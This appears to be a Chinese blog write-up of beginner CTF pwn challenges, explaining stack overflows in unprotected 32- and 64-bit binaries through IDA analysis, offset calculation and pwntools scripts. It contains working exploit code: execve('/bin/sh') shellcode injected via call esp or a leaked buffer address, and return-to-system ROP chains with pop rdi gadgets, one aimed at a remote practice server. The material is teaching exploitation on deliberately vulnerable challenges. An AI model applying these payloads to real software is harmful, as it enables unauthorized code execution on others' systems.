CTF中的PWN——無安全防護(棧溢出)

前言

    今天心情不錯,人最大的敵人真的就是自己!!!

    好久沒學PWN和逆向了,今天寫一篇關於CTF中PWN的文章回憶一下。本文主要講的是利用棧溢出的基礎PWN,分別有使用shellcode類型、滿足函數條件類型及使用軟件自帶system函數類型,其中自帶system函數的類型軟件因爲傳參方式不同進而分爲32bit與64bit的軟件。

 滿足函數條件類型

    很low的命名~///這種類型就是通過棧溢出使函數棧內滿足某種條件則執行自帶的system函數的類型,下面是此類型題目的例子:

    題目:bof

    放入IDA中查看:

    可以看到存在get()危險函數,可接收任意長度的輸入並存到變量s的地址&s中。當變量a1等於 0xcafebabe即可,可以看到字符s距離ebp爲0x2c,則距離形參a1爲0x2c+0x8=52u。則payload如下:

from pwn import *

p = process('./bof')

payload = 52 * 'A' + p32(0xcafebabe)

p.recvuntil('overflow me :')
p.sendline(payload)
p.interactive()

運行結果如下:

使用shellcode類型

    32bit程序傳參方式是將參數從右到左依次入棧,同時構造call指令時需要僞造PUSH EIP指令。

    題目一:stack2

    首先用file命令看一下文件爲32位的elf文件:

    其次使用checksec查看軟件的防護措施:

    沒有防護,拖入IDA分析,可以看到危險函數strcpy():

    &dest的EIP偏移量爲0x14 + 0x4 = 24u,使用gdb打開程序,查找函數棧中call esp或jmp esp的地址以便call esp到我們的shellcode起始地址上:

    選擇call esp地址爲0x08048577,payload如下:

from pwn import *

p = process('./stack2')

shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)

callesp = 0x08048577

payload = 24 * 'A' + p32(callesp) + shellcode

p.recvuntil('please input password:')
p.sendline(payload)
p.interactive()

    腳本運行如下:

    題目二:stack2

    注意:使用shellcode類型的有兩種溢出方式,第一種是將shellcode溢出到溢出點函數棧外面,第二種是溢出在溢出點函數棧內部,但是由於每次加載地址都會變,所以可能十次溢出只能成功兩次。

    將程序拖入IDA中查看,存在危險函數,但是首先程序中無system函數及/bin/sh或cat flag等敏感參數,其次在gdb中使用ropsearch "call esp"不管用,,,同時每次程序的溢出點地址都暴露出來了:

    通過程序泄露出的溢出點的地址,可以保證每次都能將shellcode的起始地址溢出到返回地址以執行,payload如下:

from pwn import *

p = process('./level1')

shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)

recv = p.recv(23)
buf_addr = recv[14:-1]
payload = shellcode + 'A' * (140 - len(shellcode))  + p32(int(buf_addr,16))

p.sendline(payload)
p.interactive()

     腳本運行結果如下:

 

自帶system函數類型

64bit:

    題目一:bugku_pwn2

    首先查看文件類型爲64bit且無防護措施:

    拖入IDA64中發現了read()危險函數,可以通過此函數進行棧溢出操作:

    同時發現有getshell函數:

   思路一:思路爲溢出函數地址到EIP即可 ,而溢出點到EIP返回地址的偏移量爲0x30 + 0x8 = 56u此處可以寫getshell的地址,也可以寫system的地址,不過首地址要寫壓入參數的指令的地址。下圖分別爲getshell函數地址與system('cat flag')的地址:

 

     注意:如果使用call system(‘cat flag’)執行的話,必須要在0x400769 將cat flag壓入rdi中的edi中進行傳參,如果直接40076E是無參數的。同時指令是按順序執行的,也就是執行完mov edi, 'cat flag'後會繼續執行 call _system。 

    下面的payload中以getshell函數的地址爲例: 

from pwn import *

p = process('./pwn2')

system_addr = 0x400751
payload = 'A' * 56 + p64(system_addr)

p.recvuntil('say something?')
p.sendline(payload)
p.interactive()

    運行後執行了cat flag:

     思路二:另一種做法是自己給system函數添加參數,由於64位程序前七個參數從左到右一次使用寄存器傳參,首先需要找到指令pop rdi指令進行參數的調整:

需要將pop rdi + p64(& cat flag) + system()溢出到返回地址上,則payload如下:

from pwn import *

p = process('./pwn2')

system_addr = 0x40076E
arg_addr = 0x400857
pop_rdi = 0x4007e3

payload = 'A' * 56 + p64(pop_rdi) + p64(arg_addr) + p64(system_addr)

p.recvuntil('say something?')
p.sendline(payload)
p.interactive()

    運行如下: 

 題目二:bugku_pwn4

    放入IDA64中查看,發現read()危險函數:

    查看函數發現system()函數,其他函數沒啥意義,查一下字符串:

    發現”$0“,注意,$0相當於bin/sh。也就是system('$0') == system('bin/sh') 。那麼做題思路就是給system函數中傳入$0參數即可。使用ROPgadget --binary "pwn4" --string ’\$0‘來查看字符串$0的地址:

     查找pop rdi的地址位0x4007d3。溢出點距返回地址位0x10 + 0x8 = 24u

    payload如下:

from pwn import *

p = process('./pwn4')

pop_rdi = 0x4007d3
arg_addr = 0x60111f
system_addr = 0x40075A

payload = 'A' * 24 + p64(pop_rdi) + p64(arg_addr) + p64(system_addr)

p.recvuntil('Come on,try to pwn me')
p.sendline(payload)
p.interactive()

    運行如下:

 題目三:Jarvis OJ_tell me something

    拖入IDA64中查看發現有危險函數get()與函數goodgame(),只需要將goodgame函數地址溢出到返回地址執行即可,寫payload後怎麼都無法執行,後來看了一下彙編,發現有一個坑,正常call 函數都是push rbp  mov rbp,rsp  sub rsp xxx。

但是這個程序沒有進行push rbp:(注:此處直接rsp減 88h,距離rip直接爲88h。反彙編使用rbp - 88h表示,儘管沒有push rbp!!!)

    所以溢出點距離返回值的偏移不用再加0x8即可,payload如下:

 

from pwn import *

p = remote('pwn.jarvisoj.com',9876)

system = 0x400620

payload = 'A' * 136 + p64(system)

p.recvuntil('Input your message:')
p.sendline(payload)
p.interactive()

     運行如下:

32bit:

題目一:Jarvis OJ_level2

    拖入IDA查看發現危險函數read(),查找字符串/bin/sh的地址及system函數的地址。由於程序時32bit的,所以傳參的時候需要僞造EIP返回地址才能執行system函數,payload構造姿勢是:溢出到返回地址 + call system + 僞造EIP(‘aaaa’) + arg。

payload構造如下:

from pwn import *

p = process('./level2')

sys_addr = 0x8048320
arg_addr = 0x804A024

payload = 'A' * 140 + p32(sys_addr) + 'nEIP' + p32(arg_addr)

p.recvuntil('Input:')
p.sendline(payload)
p.interactive()

    腳本執行如下:

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章